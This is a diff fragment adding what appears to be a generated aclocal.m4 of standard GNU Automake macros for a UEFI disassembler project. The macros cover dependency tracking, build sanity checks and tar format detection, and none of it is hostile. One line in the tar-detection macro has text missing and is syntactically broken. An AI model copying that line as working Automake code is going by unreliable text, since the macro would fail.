+AC_REQUIRE([AM_DEP_TRACK])dnl + +m4_if([$1], [CC], [depcc="$CC" am_compiler_list=], + [$1], [CXX], [depcc="$CXX" am_compiler_list=], + [$1], [OBJC], [depcc="$OBJC" am_compiler_list='gcc3 gcc'], + [$1], [OBJCXX], [depcc="$OBJCXX" am_compiler_list='gcc3 gcc'], + [$1], [UPC], [depcc="$UPC" am_compiler_list=], + [$1], [GCJ], [depcc="$GCJ" am_compiler_list='gcc3 gcc'], + [depcc="$$1" am_compiler_list=]) + +AC_CACHE_CHECK([dependency style of $depcc], + [am_cv_$1_dependencies_compiler_type], +[if test -z "$AMDEP_TRUE" && test -f "$am_depcomp"; then + # We make a subdir and do the tests there. Otherwise we can end up + # making bogus files that we don't know about and never remove. For + # instance it was reported that on HP-UX the gcc test will end up + # making a dummy file named 'D' -- because '-MD' means "put the output + # in D". + rm -rf conftest.dir + mkdir conftest.dir + # Copy depcomp to subdir because otherwise we won't find it if we're + # using a relative directory. + cp "$am_depcomp" conftest.dir + cd conftest.dir + # We will build objects and dependencies in a subdirectory because + # it helps to detect inapplicable dependency modes. For instance + # both Tru64's cc and ICC support -MD to output dependencies as a + # side effect of compilation, but ICC will put the dependencies in + # the current directory while Tru64 will put them in the object + # directory. + mkdir sub + + am_cv_$1_dependencies_compiler_type=none + if test "$am_compiler_list" = ""; then + am_compiler_list=`sed -n ['s/^#*\([a-zA-Z0-9]*\))$/\1/p'] < ./depcomp` + fi + am__universal=false + m4_case([$1], [CC], + [case " $depcc " in #( + *\ -arch\ *\ -arch\ *) am__universal=true ;; + esac], + [CXX], + [case " $depcc " in #( + *\ -arch\ *\ -arch\ *) am__universal=true ;; + esac]) + + for depmode in $am_compiler_list; do + # Setup a source with many dependencies, because some compilers + # like to wrap large dependency lists on column 80 (with \), and + # we should not choose a depcomp mode which is confused by this. + # + # We need to recreate these files for each test, as the compiler may + # overwrite some of them when testing with obscure command lines. + # This happens at least with the AIX C compiler. + : > sub/conftest.c + for i in 1 2 3 4 5 6; do + echo '#include "conftst'$i'.h"' >> sub/conftest.c + # Using ": > sub/conftst$i.h" creates only sub/conftst1.h with + # Solaris 10 /bin/sh. + echo '/* dummy */' > sub/conftst$i.h + done + echo "${am__include} ${am__quote}sub/conftest.Po${am__quote}" > confmf + + # We check with '-c' and '-o' for the sake of the "dashmstdout" + # mode. It turns out that the SunPro C++ compiler does not properly + # handle '-M -o', and we need to detect this. Also, some Intel + # versions had trouble with output in subdirs. + am__obj=sub/conftest.${OBJEXT-o} + am__minus_obj="-o $am__obj" + case $depmode in + gcc) + # This depmode causes a compiler race in universal mode. + test "$am__universal" = false || continue + ;; + nosideeffect) + # After this tag, mechanisms are not by side-effect, so they'll + # only be used when explicitly requested. + if test "x$enable_dependency_tracking" = xyes; then + continue + else + break + fi + ;; + msvc7 | msvc7msys | msvisualcpp | msvcmsys) + # This compiler won't grok '-c -o', but also, the minuso test has + # not run yet. These depmodes are late enough in the game, and + # so weak that their functioning should not be impacted. + am__obj=conftest.${OBJEXT-o} + am__minus_obj= + ;; + none) break ;; + esac + if depmode=$depmode \ + source=sub/conftest.c object=$am__obj \ + depfile=sub/conftest.Po tmpdepfile=sub/conftest.TPo \ + $SHELL ./depcomp $depcc -c $am__minus_obj sub/conftest.c \ + >/dev/null 2>conftest.err && + grep sub/conftst1.h sub/conftest.Po > /dev/null 2>&1 && + grep sub/conftst6.h sub/conftest.Po > /dev/null 2>&1 && + grep $am__obj sub/conftest.Po > /dev/null 2>&1 && + ${MAKE-make} -s -f confmf > /dev/null 2>&1; then + # icc doesn't choke on unknown options, it will just issue warnings + # or remarks (even with -Werror). So we grep stderr for any message + # that says an option was ignored or not supported. + # When given -MP, icc 7.0 and 7.1 complain thusly: + # icc: Command line warning: ignoring option '-M'; no argument required + # The diagnosis changed in icc 8.0: + # icc: Command line remark: option '-MP' not supported + if (grep 'ignoring option' conftest.err || + grep 'not supported' conftest.err) >/dev/null 2>&1; then :; else + am_cv_$1_dependencies_compiler_type=$depmode + break + fi + fi + done + + cd .. + rm -rf conftest.dir +else + am_cv_$1_dependencies_compiler_type=none +fi +]) +AC_SUBST([$1DEPMODE], [depmode=$am_cv_$1_dependencies_compiler_type]) +AM_CONDITIONAL([am__fastdep$1], [ + test "x$enable_dependency_tracking" != xno \ + && test "$am_cv_$1_dependencies_compiler_type" = gcc3]) +]) + + +# AM_SET_DEPDIR +# ------------- +# Choose a directory name for dependency files. +# This macro is AC_REQUIREd in _AM_DEPENDENCIES. +AC_DEFUN([AM_SET_DEPDIR], +[AC_REQUIRE([AM_SET_LEADING_DOT])dnl +AC_SUBST([DEPDIR], ["${am__leading_dot}deps"])dnl +]) + + +# AM_DEP_TRACK +# ------------ +AC_DEFUN([AM_DEP_TRACK], +[AC_ARG_ENABLE([dependency-tracking], [dnl +AS_HELP_STRING( + [--enable-dependency-tracking], + [do not reject slow dependency extractors]) +AS_HELP_STRING( + [--disable-dependency-tracking], + [speeds up one-time build])]) +if test "x$enable_dependency_tracking" != xno; then + am_depcomp="$ac_aux_dir/depcomp" + AMDEPBACKSLASH='\' + am__nodep='_no' +fi +AM_CONDITIONAL([AMDEP], [test "x$enable_dependency_tracking" != xno]) +AC_SUBST([AMDEPBACKSLASH])dnl +_AM_SUBST_NOTMAKE([AMDEPBACKSLASH])dnl +AC_SUBST([am__nodep])dnl +_AM_SUBST_NOTMAKE([am__nodep])dnl +]) + +# Generate code to set up dependency tracking. -*- Autoconf -*- + +# Copyright (C) 1999-2013 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + + +# _AM_OUTPUT_DEPENDENCY_COMMANDS +# ------------------------------ +AC_DEFUN([_AM_OUTPUT_DEPENDENCY_COMMANDS], +[{ + # Older Autoconf quotes --file arguments for eval, but not when files + # are listed without --file. Let's play safe and only enable the eval + # if we detect the quoting. + case $CONFIG_FILES in + *\'*) eval set x "$CONFIG_FILES" ;; + *) set x $CONFIG_FILES ;; + esac + shift + for mf + do + # Strip MF so we end up with the name of the file. + mf=`echo "$mf" | sed -e 's/:.*$//'` + # Check whether this is an Automake generated Makefile or not. + # We used to match only the files named 'Makefile.in', but + # some people rename them; so instead we look at the file content. + # Grep'ing the first line is not enough: some people post-process + # each Makefile.in and add a new line on top of each file to say so. + # Grep'ing the whole file is not good either: AIX grep has a line + # limit of 2048, but all sed's we know have understand at least 4000. + if sed -n 's,^#.*generated by automake.*,X,p' "$mf" | grep X >/dev/null 2>&1; then + dirpart=`AS_DIRNAME("$mf")` + else + continue + fi + # Extract the definition of DEPDIR, am__include, and am__quote + # from the Makefile without running 'make'. + DEPDIR=`sed -n 's/^DEPDIR = //p' < "$mf"` + test -z "$DEPDIR" && continue + am__include=`sed -n 's/^am__include = //p' < "$mf"` + test -z "am__include" && continue + am__quote=`sed -n 's/^am__quote = //p' < "$mf"` + # Find all dependency output files, they are included files with + # $(DEPDIR) in their names. We invoke sed twice because it is the + # simplest approach to changing $(DEPDIR) to its actual value in the + # expansion. + for file in `sed -n " + s/^$am__include $am__quote\(.*(DEPDIR).*\)$am__quote"'$/\1/p' <"$mf" | \ + sed -e 's/\$(DEPDIR)/'"$DEPDIR"'/g'`; do + # Make sure the directory exists. + test -f "$dirpart/$file" && continue + fdir=`AS_DIRNAME(["$file"])` + AS_MKDIR_P([$dirpart/$fdir]) + # echo "creating $dirpart/$file" + echo '# dummy' > "$dirpart/$file" + done + done +} +])# _AM_OUTPUT_DEPENDENCY_COMMANDS + + +# AM_OUTPUT_DEPENDENCY_COMMANDS +# ----------------------------- +# This macro should only be invoked once -- use via AC_REQUIRE. +# +# This code is only required when automatic dependency tracking +# is enabled. FIXME. This creates each '.P' file that we will +# need in order to bootstrap the dependency handling code. +AC_DEFUN([AM_OUTPUT_DEPENDENCY_COMMANDS], +[AC_CONFIG_COMMANDS([depfiles], + [test x"$AMDEP_TRUE" != x"" || _AM_OUTPUT_DEPENDENCY_COMMANDS], + [AMDEP_TRUE="$AMDEP_TRUE" ac_aux_dir="$ac_aux_dir"]) +]) + +# Do all the work for Automake. -*- Autoconf -*- + +# Copyright (C) 1996-2013 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# This macro actually does too much. Some checks are only needed if +# your package does certain things. But this isn't really a big deal. + +# AM_INIT_AUTOMAKE(PACKAGE, VERSION, [NO-DEFINE]) +# AM_INIT_AUTOMAKE([OPTIONS]) +# ----------------------------------------------- +# The call with PACKAGE and VERSION arguments is the old style +# call (pre autoconf-2.50), which is being phased out. PACKAGE +# and VERSION should now be passed to AC_INIT and removed from +# the call to AM_INIT_AUTOMAKE. +# We support both call styles for the transition. After +# the next Automake release, Autoconf can make the AC_INIT +# arguments mandatory, and then we can depend on a new Autoconf +# release and drop the old call support. +AC_DEFUN([AM_INIT_AUTOMAKE], +[AC_PREREQ([2.65])dnl +dnl Autoconf wants to disallow AM_ names. We explicitly allow +dnl the ones we care about. +m4_pattern_allow([^AM_[A-Z]+FLAGS$])dnl +AC_REQUIRE([AM_SET_CURRENT_AUTOMAKE_VERSION])dnl +AC_REQUIRE([AC_PROG_INSTALL])dnl +if test "`cd $srcdir && pwd`" != "`pwd`"; then + # Use -I$(srcdir) only when $(srcdir) != ., so that make's output + # is not polluted with repeated "-I." + AC_SUBST([am__isrc], [' -I$(srcdir)'])_AM_SUBST_NOTMAKE([am__isrc])dnl + # test to see if srcdir already configured + if test -f $srcdir/config.status; then + AC_MSG_ERROR([source directory already configured; run "make distclean" there first]) + fi +fi + +# test whether we have cygpath +if test -z "$CYGPATH_W"; then + if (cygpath --version) >/dev/null 2>/dev/null; then + CYGPATH_W='cygpath -w' + else + CYGPATH_W=echo + fi +fi +AC_SUBST([CYGPATH_W]) + +# Define the identity of the package. +dnl Distinguish between old-style and new-style calls. +m4_ifval([$2], +[AC_DIAGNOSE([obsolete], + [$0: two- and three-arguments forms are deprecated.]) +m4_ifval([$3], [_AM_SET_OPTION([no-define])])dnl + AC_SUBST([PACKAGE], [$1])dnl + AC_SUBST([VERSION], [$2])], +[_AM_SET_OPTIONS([$1])dnl +dnl Diagnose old-style AC_INIT with new-style AM_AUTOMAKE_INIT. +m4_if( + m4_ifdef([AC_PACKAGE_NAME], [ok]):m4_ifdef([AC_PACKAGE_VERSION], [ok]), + [ok:ok],, + [m4_fatal([AC_INIT should be called with package and version arguments])])dnl + AC_SUBST([PACKAGE], ['AC_PACKAGE_TARNAME'])dnl + AC_SUBST([VERSION], ['AC_PACKAGE_VERSION'])])dnl + +_AM_IF_OPTION([no-define],, +[AC_DEFINE_UNQUOTED([PACKAGE], ["$PACKAGE"], [Name of package]) + AC_DEFINE_UNQUOTED([VERSION], ["$VERSION"], [Version number of package])])dnl + +# Some tools Automake needs. +AC_REQUIRE([AM_SANITY_CHECK])dnl +AC_REQUIRE([AC_ARG_PROGRAM])dnl +AM_MISSING_PROG([ACLOCAL], [aclocal-${am__api_version}]) +AM_MISSING_PROG([AUTOCONF], [autoconf]) +AM_MISSING_PROG([AUTOMAKE], [automake-${am__api_version}]) +AM_MISSING_PROG([AUTOHEADER], [autoheader]) +AM_MISSING_PROG([MAKEINFO], [makeinfo]) +AC_REQUIRE([AM_PROG_INSTALL_SH])dnl +AC_REQUIRE([AM_PROG_INSTALL_STRIP])dnl +AC_REQUIRE([AC_PROG_MKDIR_P])dnl +# For better backward compatibility. To be removed once Automake 1.9.x +# dies out for good. For more background, see: +# +# +AC_SUBST([mkdir_p], ['$(MKDIR_P)']) +# We need awk for the "check" target. The system "awk" is bad on +# some platforms. +AC_REQUIRE([AC_PROG_AWK])dnl +AC_REQUIRE([AC_PROG_MAKE_SET])dnl +AC_REQUIRE([AM_SET_LEADING_DOT])dnl +_AM_IF_OPTION([tar-ustar], [_AM_PROG_TAR([ustar])], + [_AM_IF_OPTION([tar-pax], [_AM_PROG_TAR([pax])], + [_AM_PROG_TAR([v7])])]) +_AM_IF_OPTION([no-dependencies],, +[AC_PROVIDE_IFELSE([AC_PROG_CC], + [_AM_DEPENDENCIES([CC])], + [m4_define([AC_PROG_CC], + m4_defn([AC_PROG_CC])[_AM_DEPENDENCIES([CC])])])dnl +AC_PROVIDE_IFELSE([AC_PROG_CXX], + [_AM_DEPENDENCIES([CXX])], + [m4_define([AC_PROG_CXX], + m4_defn([AC_PROG_CXX])[_AM_DEPENDENCIES([CXX])])])dnl +AC_PROVIDE_IFELSE([AC_PROG_OBJC], + [_AM_DEPENDENCIES([OBJC])], + [m4_define([AC_PROG_OBJC], + m4_defn([AC_PROG_OBJC])[_AM_DEPENDENCIES([OBJC])])])dnl +AC_PROVIDE_IFELSE([AC_PROG_OBJCXX], + [_AM_DEPENDENCIES([OBJCXX])], + [m4_define([AC_PROG_OBJCXX], + m4_defn([AC_PROG_OBJCXX])[_AM_DEPENDENCIES([OBJCXX])])])dnl +]) +AC_REQUIRE([AM_SILENT_RULES])dnl +dnl The testsuite driver may need to know about EXEEXT, so add the +dnl 'am__EXEEXT' conditional if _AM_COMPILER_EXEEXT was seen. This +dnl macro is hooked onto _AC_COMPILER_EXEEXT early, see below. +AC_CONFIG_COMMANDS_PRE(dnl +[m4_provide_if([_AM_COMPILER_EXEEXT], + [AM_CONDITIONAL([am__EXEEXT], [test -n "$EXEEXT"])])])dnl +]) + +dnl Hook into '_AC_COMPILER_EXEEXT' early to learn its expansion. Do not +dnl add the conditional right here, as _AC_COMPILER_EXEEXT may be further +dnl mangled by Autoconf and run in a shell conditional statement. +m4_define([_AC_COMPILER_EXEEXT], +m4_defn([_AC_COMPILER_EXEEXT])[m4_provide([_AM_COMPILER_EXEEXT])]) + + +# When config.status generates a header, we must update the stamp-h file. +# This file resides in the same directory as the config header +# that is generated. The stamp files are numbered to have different names. + +# Autoconf calls _AC_AM_CONFIG_HEADER_HOOK (when defined) in the +# loop where config.status creates the headers, so we can generate +# our stamp files there. +AC_DEFUN([_AC_AM_CONFIG_HEADER_HOOK], +[# Compute $1's index in $config_headers. +_am_arg=$1 +_am_stamp_count=1 +for _am_header in $config_headers :; do + case $_am_header in + $_am_arg | $_am_arg:* ) + break ;; + * ) + _am_stamp_count=`expr $_am_stamp_count + 1` ;; + esac +done +echo "timestamp for $_am_arg" >`AS_DIRNAME(["$_am_arg"])`/stamp-h[]$_am_stamp_count]) + +# Copyright (C) 2001-2013 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# AM_PROG_INSTALL_SH +# ------------------ +# Define $install_sh. +AC_DEFUN([AM_PROG_INSTALL_SH], +[AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl +if test x"${install_sh}" != xset; then + case $am_aux_dir in + *\ * | *\ *) + install_sh="\${SHELL} '$am_aux_dir/install-sh'" ;; + *) + install_sh="\${SHELL} $am_aux_dir/install-sh" + esac +fi +AC_SUBST([install_sh])]) + +# Copyright (C) 2003-2013 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# Check whether the underlying file-system supports filenames +# with a leading dot. For instance MS-DOS doesn't. +AC_DEFUN([AM_SET_LEADING_DOT], +[rm -rf .tst 2>/dev/null +mkdir .tst 2>/dev/null +if test -d .tst; then + am__leading_dot=. +else + am__leading_dot=_ +fi +rmdir .tst 2>/dev/null +AC_SUBST([am__leading_dot])]) + +# Check to see how 'make' treats includes. -*- Autoconf -*- + +# Copyright (C) 2001-2013 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# AM_MAKE_INCLUDE() +# ----------------- +# Check to see how make treats includes. +AC_DEFUN([AM_MAKE_INCLUDE], +[am_make=${MAKE-make} +cat > confinc << 'END' +am__doit: + @echo this is the am__doit target +.PHONY: am__doit +END +# If we don't find an include directive, just comment out the code. +AC_MSG_CHECKING([for style of include used by $am_make]) +am__include="#" +am__quote= +_am_result=none +# First try GNU make style include. +echo "include confinc" > confmf +# Ignore all kinds of additional output from 'make'. +case `$am_make -s -f confmf 2> /dev/null` in #( +*the\ am__doit\ target*) + am__include=include + am__quote= + _am_result=GNU + ;; +esac +# Now try BSD make style include. +if test "$am__include" = "#"; then + echo '.include "confinc"' > confmf + case `$am_make -s -f confmf 2> /dev/null` in #( + *the\ am__doit\ target*) + am__include=.include + am__quote="\"" + _am_result=BSD + ;; + esac +fi +AC_SUBST([am__include]) +AC_SUBST([am__quote]) +AC_MSG_RESULT([$_am_result]) +rm -f confinc confmf +]) + +# Copyright (C) 1999-2013 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# AM_PROG_CC_C_O +# -------------- +# Like AC_PROG_CC_C_O, but changed for automake. +AC_DEFUN([AM_PROG_CC_C_O], +[AC_REQUIRE([AC_PROG_CC_C_O])dnl +AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl +AC_REQUIRE_AUX_FILE([compile])dnl +# FIXME: we rely on the cache variable name because +# there is no other way. +set dummy $CC +am_cc=`echo $[2] | sed ['s/[^a-zA-Z0-9_]/_/g;s/^[0-9]/_/']` +eval am_t=\$ac_cv_prog_cc_${am_cc}_c_o +if test "$am_t" != yes; then + # Losing compiler, so override with the script. + # FIXME: It is wrong to rewrite CC. + # But if we don't then we get into trouble of one sort or another. + # A longer-term fix would be to have automake use am__CC in this case, + # and then we could set am__CC="\$(top_srcdir)/compile \$(CC)" + CC="$am_aux_dir/compile $CC" +fi +dnl Make sure AC_PROG_CC is never called again, or it will override our +dnl setting of CC. +m4_define([AC_PROG_CC], + [m4_fatal([AC_PROG_CC cannot be called after AM_PROG_CC_C_O])]) +]) + +# Fake the existence of programs that GNU maintainers use. -*- Autoconf -*- + +# Copyright (C) 1997-2013 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# AM_MISSING_PROG(NAME, PROGRAM) +# ------------------------------ +AC_DEFUN([AM_MISSING_PROG], +[AC_REQUIRE([AM_MISSING_HAS_RUN]) +$1=${$1-"${am_missing_run}$2"} +AC_SUBST($1)]) + +# AM_MISSING_HAS_RUN +# ------------------ +# Define MISSING if not defined so far and test if it is modern enough. +# If it is, set am_missing_run to use it, otherwise, to nothing. +AC_DEFUN([AM_MISSING_HAS_RUN], +[AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl +AC_REQUIRE_AUX_FILE([missing])dnl +if test x"${MISSING+set}" != xset; then + case $am_aux_dir in + *\ * | *\ *) + MISSING="\${SHELL} \"$am_aux_dir/missing\"" ;; + *) + MISSING="\${SHELL} $am_aux_dir/missing" ;; + esac +fi +# Use eval to expand $SHELL +if eval "$MISSING --is-lightweight"; then + am_missing_run="$MISSING " +else + am_missing_run= + AC_MSG_WARN(['missing' script is too old or missing]) +fi +]) + +# Helper functions for option handling. -*- Autoconf -*- + +# Copyright (C) 2001-2013 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# _AM_MANGLE_OPTION(NAME) +# ----------------------- +AC_DEFUN([_AM_MANGLE_OPTION], +[[_AM_OPTION_]m4_bpatsubst($1, [[^a-zA-Z0-9_]], [_])]) + +# _AM_SET_OPTION(NAME) +# -------------------- +# Set option NAME. Presently that only means defining a flag for this option. +AC_DEFUN([_AM_SET_OPTION], +[m4_define(_AM_MANGLE_OPTION([$1]), [1])]) + +# _AM_SET_OPTIONS(OPTIONS) +# ------------------------ +# OPTIONS is a space-separated list of Automake options. +AC_DEFUN([_AM_SET_OPTIONS], +[m4_foreach_w([_AM_Option], [$1], [_AM_SET_OPTION(_AM_Option)])]) + +# _AM_IF_OPTION(OPTION, IF-SET, [IF-NOT-SET]) +# ------------------------------------------- +# Execute IF-SET if OPTION is set, IF-NOT-SET otherwise. +AC_DEFUN([_AM_IF_OPTION], +[m4_ifset(_AM_MANGLE_OPTION([$1]), [$2], [$3])]) + +# Check to make sure that the build environment is sane. -*- Autoconf -*- + +# Copyright (C) 1996-2013 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# AM_SANITY_CHECK +# --------------- +AC_DEFUN([AM_SANITY_CHECK], +[AC_MSG_CHECKING([whether build environment is sane]) +# Reject unsafe characters in $srcdir or the absolute working directory +# name. Accept space and tab only in the latter. +am_lf=' +' +case `pwd` in + *[[\\\"\#\$\&\'\`$am_lf]]*) + AC_MSG_ERROR([unsafe absolute working directory name]);; +esac +case $srcdir in + *[[\\\"\#\$\&\'\`$am_lf\ \ ]]*) + AC_MSG_ERROR([unsafe srcdir value: '$srcdir']);; +esac + +# Do 'set' in a subshell so we don't clobber the current shell's +# arguments. Must try -L first in case configure is actually a +# symlink; some systems play weird games with the mod time of symlinks +# (eg FreeBSD returns the mod time of the symlink's containing +# directory). +if ( + am_has_slept=no + for am_try in 1 2; do + echo "timestamp, slept: $am_has_slept" > conftest.file + set X `ls -Lt "$srcdir/configure" conftest.file 2> /dev/null` + if test "$[*]" = "X"; then + # -L didn't work. + set X `ls -t "$srcdir/configure" conftest.file` + fi + if test "$[*]" != "X $srcdir/configure conftest.file" \ + && test "$[*]" != "X conftest.file $srcdir/configure"; then + + # If neither matched, then we have a broken ls. This can happen + # if, for instance, CONFIG_SHELL is bash and it inherits a + # broken ls alias from the environment. This has actually + # happened. Such a system could not be considered "sane". + AC_MSG_ERROR([ls -t appears to fail. Make sure there is not a broken + alias in your environment]) + fi + if test "$[2]" = conftest.file || test $am_try -eq 2; then + break + fi + # Just in case. + sleep 1 + am_has_slept=yes + done + test "$[2]" = conftest.file + ) +then + # Ok. + : +else + AC_MSG_ERROR([newly created file is older than distributed files! +Check your system clock]) +fi +AC_MSG_RESULT([yes]) +# If we didn't sleep, we still need to ensure time stamps of config.status and +# generated files are strictly newer. +am_sleep_pid= +if grep 'slept: no' conftest.file >/dev/null 2>&1; then + ( sleep 1 ) & + am_sleep_pid=$! +fi +AC_CONFIG_COMMANDS_PRE( + [AC_MSG_CHECKING([that generated files are newer than configure]) + if test -n "$am_sleep_pid"; then + # Hide warnings about reused PIDs. + wait $am_sleep_pid 2>/dev/null + fi + AC_MSG_RESULT([done])]) +rm -f conftest.file +]) + +# Copyright (C) 2009-2013 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# AM_SILENT_RULES([DEFAULT]) +# -------------------------- +# Enable less verbose build rules; with the default set to DEFAULT +# ("yes" being less verbose, "no" or empty being verbose). +AC_DEFUN([AM_SILENT_RULES], +[AC_ARG_ENABLE([silent-rules], [dnl +AS_HELP_STRING( + [--enable-silent-rules], + [less verbose build output (undo: "make V=1")]) +AS_HELP_STRING( + [--disable-silent-rules], + [verbose build output (undo: "make V=0")])dnl +]) +case $enable_silent_rules in @%:@ ((( + yes) AM_DEFAULT_VERBOSITY=0;; + no) AM_DEFAULT_VERBOSITY=1;; + *) AM_DEFAULT_VERBOSITY=m4_if([$1], [yes], [0], [1]);; +esac +dnl +dnl A few 'make' implementations (e.g., NonStop OS and NextStep) +dnl do not support nested variable expansions. +dnl See automake bug#9928 and bug#10237. +am_make=${MAKE-make} +AC_CACHE_CHECK([whether $am_make supports nested variables], + [am_cv_make_support_nested_variables], + [if AS_ECHO([['TRUE=$(BAR$(V)) +BAR0=false +BAR1=true +V=1 +am__doit: + @$(TRUE) +.PHONY: am__doit']]) | $am_make -f - >/dev/null 2>&1; then + am_cv_make_support_nested_variables=yes +else + am_cv_make_support_nested_variables=no +fi]) +if test $am_cv_make_support_nested_variables = yes; then + dnl Using '$V' instead of '$(V)' breaks IRIX make. + AM_V='$(V)' + AM_DEFAULT_V='$(AM_DEFAULT_VERBOSITY)' +else + AM_V=$AM_DEFAULT_VERBOSITY + AM_DEFAULT_V=$AM_DEFAULT_VERBOSITY +fi +AC_SUBST([AM_V])dnl +AM_SUBST_NOTMAKE([AM_V])dnl +AC_SUBST([AM_DEFAULT_V])dnl +AM_SUBST_NOTMAKE([AM_DEFAULT_V])dnl +AC_SUBST([AM_DEFAULT_VERBOSITY])dnl +AM_BACKSLASH='\' +AC_SUBST([AM_BACKSLASH])dnl +_AM_SUBST_NOTMAKE([AM_BACKSLASH])dnl +]) + +# Copyright (C) 2001-2013 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# AM_PROG_INSTALL_STRIP +# --------------------- +# One issue with vendor 'install' (even GNU) is that you can't +# specify the program used to strip binaries. This is especially +# annoying in cross-compiling environments, where the build's strip +# is unlikely to handle the host's binaries. +# Fortunately install-sh will honor a STRIPPROG variable, so we +# always use install-sh in "make install-strip", and initialize +# STRIPPROG with the value of the STRIP variable (set by the user). +AC_DEFUN([AM_PROG_INSTALL_STRIP], +[AC_REQUIRE([AM_PROG_INSTALL_SH])dnl +# Installed binaries are usually stripped using 'strip' when the user +# run "make install-strip". However 'strip' might not be the right +# tool to use in cross-compilation environments, therefore Automake +# will honor the 'STRIP' environment variable to overrule this program. +dnl Don't test for $cross_compiling = yes, because it might be 'maybe'. +if test "$cross_compiling" != no; then + AC_CHECK_TOOL([STRIP], [strip], :) +fi +INSTALL_STRIP_PROGRAM="\$(install_sh) -c -s" +AC_SUBST([INSTALL_STRIP_PROGRAM])]) + +# Copyright (C) 2006-2013 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# _AM_SUBST_NOTMAKE(VARIABLE) +# --------------------------- +# Prevent Automake from outputting VARIABLE = @VARIABLE@ in Makefile.in. +# This macro is traced by Automake. +AC_DEFUN([_AM_SUBST_NOTMAKE]) + +# AM_SUBST_NOTMAKE(VARIABLE) +# -------------------------- +# Public sister of _AM_SUBST_NOTMAKE. +AC_DEFUN([AM_SUBST_NOTMAKE], [_AM_SUBST_NOTMAKE($@)]) + +# Check how to create a tarball. -*- Autoconf -*- + +# Copyright (C) 2004-2013 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# _AM_PROG_TAR(FORMAT) +# -------------------- +# Check how to create a tarball in format FORMAT. +# FORMAT should be one of 'v7', 'ustar', or 'pax'. +# +# Substitute a variable $(am__tar) that is a command +# writing to stdout a FORMAT-tarball containing the directory +# $tardir. +# tardir=directory && $(am__tar) > result.tar +# +# Substitute a variable $(am__untar) that extract such +# a tarball read from stdin. +# $(am__untar) < result.tar +AC_DEFUN([_AM_PROG_TAR], +[# Always define AMTAR for backward compatibility. Yes, it's still used +# in the wild :-( We should find a proper way to deprecate it ... +AC_SUBST([AMTAR], ['$${TAR-tar}']) +m4_if([$1], [v7], + [am__tar='$${TAR-tar} chof - "$$tardir"' am__untar='$${TAR-tar} xf -'], + [m4_case([$1], [ustar],, [pax],, + [m4_fatal([Unknown tar format])]) +AC_MSG_CHECKING([how to create a $1 tar archive]) +# Loop over all known methods to create a tar archive until one works. +_am_tools='gnutar m4_if([$1], [ustar], [plaintar]) pax cpio none' +_am_tools=${am_cv_prog_tar_$1-$_am_tools} +# Do not fold the above two line into one, because Tru64 sh and +# Solaris sh will not grok spaces in the rhs of '-'. +for _am_tool in $_am_tools +do + case $_am_tool in + gnutar) + for _am_tar in tar gnutar gtar; + do + AM_RUN_LOG([$_am_tar --version]) && break + done + am__tar="$_am_tar --format=m4_if([$1], [pax], [posix], [$1]) -chf - "'"$$tardir"' + am__tar_="$_am_tar --format=m4_if([$1], [pax], [posix], [$1]) -chf - "'"$tardir"' + am__untar="$_am_tar -xf -" + ;; + plaintar) + # Must skip GNU tar: if it does not support --format= it doesn't create + # ustar tarball either. + (tar --version) >/dev/null 2>&1 && continue + am__tar='tar chf - "$$tardir"' + am__tar_='tar chf - "$tardir"' + am__untar='tar xf -' + ;; + pax) + am__tar='pax -L -x $1 -w "$$tardir"' + am__tar_='pax -L -x $1 -w "$tardir"' + am__untar='pax -r' + ;; + cpio) + am__tar='find "$$tardir" -print | cpio -o -H $1 -L' + am__tar_='find "$tardir" -print | cpio -o -H $1 -L' + am__untar='cpio -i -H $1 -d' + ;; + none) + am__tar=false + am__tar_=false + am__untar=false + ;; + esac + + # If the value was cached, stop now. We just wanted to have am__tar + # and am__untar set. + test -n "${am_cv_prog_tar_$1}" && break + + # tar/untar a dummy directory, and stop if the command works + rm -rf conftest.dir + mkdir conftest.dir + echo GrepMe > conftest.dir/file + AM_RUN_LOG([tardir=conftest.dir && eval $am__tar_ >conftest.tar]) + rm -rf conftest.dir + if test -s conftest.tar; then + AM_RUN_LOG([$am__untar /dev/null 2>&1 && break + fi +done +rm -rf conftest.dir + +AC_CACHE_VAL([am_cv_prog_tar_$1], [am_cv_prog_tar_$1=$_am_tool]) +AC_MSG_RESULT([$am_cv_prog_tar_$1])]) +AC_SUBST([am__tar]) +AC_SUBST([am__untar]) +]) # _AM_PROG_TAR + +m4_include([build/m4/libtool.m4]) +m4_include([build/m4/ltoptions.m4]) +m4_include([build/m4/ltsugar.m4]) +m4_include([build/m4/ltversion.m4]) +m4_include([build/m4/lt~obsolete.m4]) diff --git a/UefiDriver/udis86/config.h.in 